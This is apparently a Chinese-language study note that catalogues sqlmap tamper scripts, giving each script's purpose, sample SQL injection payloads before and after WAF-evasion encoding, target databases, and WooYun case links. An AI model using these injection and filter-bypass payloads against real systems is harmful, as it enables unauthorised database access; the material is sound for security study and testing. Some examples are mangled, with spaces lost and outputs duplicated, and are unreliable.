0x00 背景
sqlmap中的tamper脚本来对目标进行更高效的攻击。
由于乌云知识库少了sqlmap-tamper 收集一下，方便学习。 根据sqlmap中的tamper脚本可以学习过绕过一些技巧。 我收集在找相关的案例作为可分析什么环境使用什么tamper脚本。 小学生毕业的我，着能偷偷说一下多做一些收集对吸收知识很快。
0x01 start
脚本名：apostrophemask.py
作用：用utf8代替引号
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Example: (“1 AND ‘1’=’1”) ‘1AND%EF%BC%871%EF%BC%87=%EF%BC%871’
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Tested against: all
脚本名：equaltolike.py
作用：like 代替等号
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Example:
* Input:SELECT*FROMusersWHEREid=1
*Output:SELECT*FROMusersWHEREidLIKE1
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案例一: http://wooyun.org/bugs/wooyun-2010-087296
案例二: http://wooyun.org/bugs/wooyun-2010-074790
案例三：http://wooyun.org/bugs/wooyun-2010-072489
脚本名：space2dash.py
作用：绕过过滤‘=’ 替换空格字符（”），（’ – ‘）后跟一个破折号注释，一个随机字符串和一个新行（’ n’）
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Example: (‘1 AND 9227=9227′)’1–nVNaVoPYeva%0AAND–ngNvzqu%0A9227=9227’
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Tested against: * MSSQL * SQLite
案例一：http://wooyun.org/bugs/wooyun-2010-062878
脚本名：greatest.py
作用：绕过过滤’>’ ,用GREATEST替换大于号。
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Example: (‘1 AND A > B’)’1 AND GREATEST(A,B+1)=A’Tested against: * MySQL 4, 5.0and5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0
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脚本名：space2hash.py
作用：空格替换为#号 随机字符串 以及换行符
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Example:
* Input: 1AND9227=9227
*Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
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Requirement:
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MySQL Tested against:
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MySQL 4.0, 5.0
参考:法克的一篇文章
脚本名：apostrophenullencode.py
作用：绕过过滤双引号，替换字符和双引号。
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Example: tamper(“1 AND ‘1’=’1”) ‘1AND%00%271%00%27=%00%271’
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Tested against:
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MySQL 4, 5.0 and 5.5
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Oracle 10g
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PostgreSQL 8.3, 8.4, 9.0
脚本名：halfversionedmorekeywords.py
作用：当数据库为mysql时绕过防火墙，每个关键字之前添加mysql版本评论
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Example:
(“value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’=’QDWa”)”value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND ‘QDWa’=’QDWa”
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Requirement:
- MySQL < 5.1
Tested against:
- MySQL 4.0.18, 5.0.22
脚本名：space2morehash.py
作用：空格替换为 #号 以及更多随机字符串 换行符
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Example:
* Input: 1AND9227=9227
*Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
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Requirement: * MySQL >= 5.1.13 Tested
against: * MySQL 5.1.41
案例一:91ri一篇文章
脚本名：appendnullbyte.py
作用：在有效负荷结束位置加载零字节字符编码
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Example: (‘1 AND 1=1′)’1 AND 1=1%00’
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Requirement:
- Microsoft Access
脚本名：ifnull2ifisnull.py
作用：绕过对 IFNULL 过滤。 替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’
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Example:
(‘IFNULL(1, 2)’)’IF(ISNULL(1),2,1)’
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Requirement:
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MySQL
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SQLite (possibly)
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SAP MaxDB (possibly)
Tested against:
- MySQL 5.0 and 5.5
脚本名：space2mssqlblank.py(mssql)
作用：空格替换为其它空符号
Example: * Input: SELECT id FROM users * Output: SELECT%08id%02FROM%0Fusers
Requirement: * Microsoft SQL Server Tested against: * Microsoft SQL Server 2000 * Microsoft SQL Server 2005
ASCII table:
案例一: wooyun.org/bugs/wooyun-2010-062878
脚本名：base64encode.py
作用：用base64编码替换 Example: (“1′ AND SLEEP(5)#”) ‘MScgQU5EIFNMRUVQKDUpIw==’ Requirement: all
案例一: http://wooyun.org/bugs/wooyun-2010-060071
案例二: http://wooyun.org/bugs/wooyun-2010-021062
案例三: http://wooyun.org/bugs/wooyun-2010-043229
脚本名：space2mssqlhash.py
作用：替换空格
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Example: (‘1 AND 9227=9227’)’1%23%0AAND%23%0A9227=9227’Requirement: * MSSQL * MySQL
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脚本名：modsecurityversioned.py
作用：过滤空格，包含完整的查询版本注释
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Example: (‘1 AND 2>1–‘)’1 /*!30874AND 2>1*/–‘
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Requirement: * MySQL
Tested against:
- MySQL 5.0
脚本名：space2mysqlblank.py
作用：空格替换其它空白符号(mysql)
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Example:
* Input:SELECTidFROMusers
*Output:SELECT%0Bid%0BFROM%A0users
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Requirement:
- MySQL
Tested against:
- MySQL 5.1
案例一:wooyun.org/bugs/wooyun-2010-076735
脚本名：between.py
作用：用between替换大于号（>）
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Example: (‘1 AND A > B–‘)’1 AND A NOT BETWEEN 0 AND B–‘
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Tested against:
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Microsoft SQL Server 2005
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MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0
案例一:wooyun.org/bugs/wooyun-2010-068815
脚本名：space2mysqldash.py
作用：替换空格字符（”）（’ – ‘）后跟一个破折号注释一个新行（’ n’）
注：之前有个mssql的 这个是mysql的
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Example: (‘1 AND 9227=9227′)’1–%0AAND–%0A9227=9227’
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Requirement:
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MySQL
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MSSQL
脚本名：multiplespaces.py
作用：围绕SQL关键字添加多个空格
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Example: (‘1 UNION SELECT foobar’)’1 UNION SELECT foobar’
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Tested against: all
案例一: wooyun.org/bugs/wooyun-2010-072489
脚本名：space2plus.py
作用：用+替换空格
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Example: (‘SELECT id FROM users’)’SELECT+id+FROM+users’Tested against:all
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脚本名：bluecoat.py
作用：代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为like
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Example: (‘SELECT id FROM users where id = 1′)’SELECT%09id FROM users where id LIKE 1’
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Tested against:
- MySQL 5.1, SGOS
脚本名：nonrecursivereplacement.py
双重查询语句。取代predefined SQL关键字with表示 suitable for替代（例如 .replace（“SELECT”、””)） filters
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Example: (‘1 UNION SELECT 2–‘)’1 UNIOUNIONN SELESELECTCT 2–‘Tested against:all
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脚本名：space2randomblank.py
作用：代替空格字符（“”）从一个随机的空白字符可选字符的有效集
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Example: (‘SELECT id FROM users’)’SELECT%0Did%0DFROM%0Ausers’
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Tested against: all
脚本名：sp_password.py
作用：追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾
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Example: (‘1 AND 9227=9227– ‘)’1 AND 9227=9227– sp\_password’Requirement: * MSSQL
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脚本名：chardoubleencode.py
作用: 双url编码(不处理以编码的)
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Example:
* Input:SELECTFIELDFROM%20TABLE
*Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545
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脚本名：unionalltounion.py
作用：替换UNION ALL SELECT UNION SELECT
Example: (‘-1 UNION ALL SELECT’) ‘-1 UNION SELECT’
Requirement: all
脚本名：charencode.py
作用：url编码
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Example:
* Input:SELECTFIELDFROM%20TABLE
*Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
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tested against:
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Microsoft SQL Server 2005
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MySQL 4, 5.0 and 5.5
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Oracle 10g
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PostgreSQL 8.3, 8.4, 9.0
脚本名：randomcase.py
作用：随机大小写 Example:
- Input: INSERT
- Output: InsERt
Tested against:
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Microsoft SQL Server 2005
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MySQL 4, 5.0 and 5.5
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Oracle 10g
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PostgreSQL 8.3, 8.4, 9.0
脚本名：unmagicquotes.py
作用：宽字符绕过 GPC addslashes
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Example:
* Input: 1′AND1=1
*Output: 1%bf%27AND1=1–%20
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脚本名：randomcomments.py
作用：用/**/分割sql关键字
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Example:
‘INSERT’ becomes ‘IN//S//ERT’
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脚本名：charunicodeencode.py
作用：字符串 unicode 编码
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Example:
* Input:SELECTFIELD%20FROMTABLE
*Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
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Requirement:
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ASP
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ASP.NET
Tested against:
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Microsoft SQL Server 2000
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Microsoft SQL Server 2005
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MySQL 5.1.56
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PostgreSQL 9.0.3
案例一: wooyun.org/bugs/wooyun-2010-074261
脚本名：securesphere.py
作用：追加特制的字符串
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Example: (‘1 AND 1=1’)”1 AND 1=1 and ‘0having’=’0having'”
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Tested against: all
脚本名：versionedmorekeywords.py
作用：注释绕过
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Example:
* Input: 1UNIONALLSELECTNULL,NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER()ASCHAR),CHAR(32)),CHAR(58,115,114,121,58))#
*Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS**!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#
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Requirement:
- MySQL >= 5.1.13
脚本名：space2comment.py
作用：Replaces space character (‘ ‘) with comments ‘/**/’
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Example:
* Input:SELECTidFROMusers
*Output:SELECT//id//FROM/**/users
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Tested against:
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Microsoft SQL Server 2005
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MySQL 4, 5.0 and 5.5
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Oracle 10g
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PostgreSQL 8.3, 8.4, 9.0
案例一:wooyun.org/bugs/wooyun-2010-046496
脚本名：halfversionedmorekeywords.py
作用：关键字前加注释
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Example:
* Input: value’UNIONALLSELECTCONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER()ASCHAR),CHAR(32)),CHAR(58,97,110,121,58)),NULL,NULL#AND‘QDWa’=’QDWa
* Output: value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’=’QDWa
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Requirement:
- MySQL < 5.1
Tested against:
- MySQL 4.0.18, 5.0.22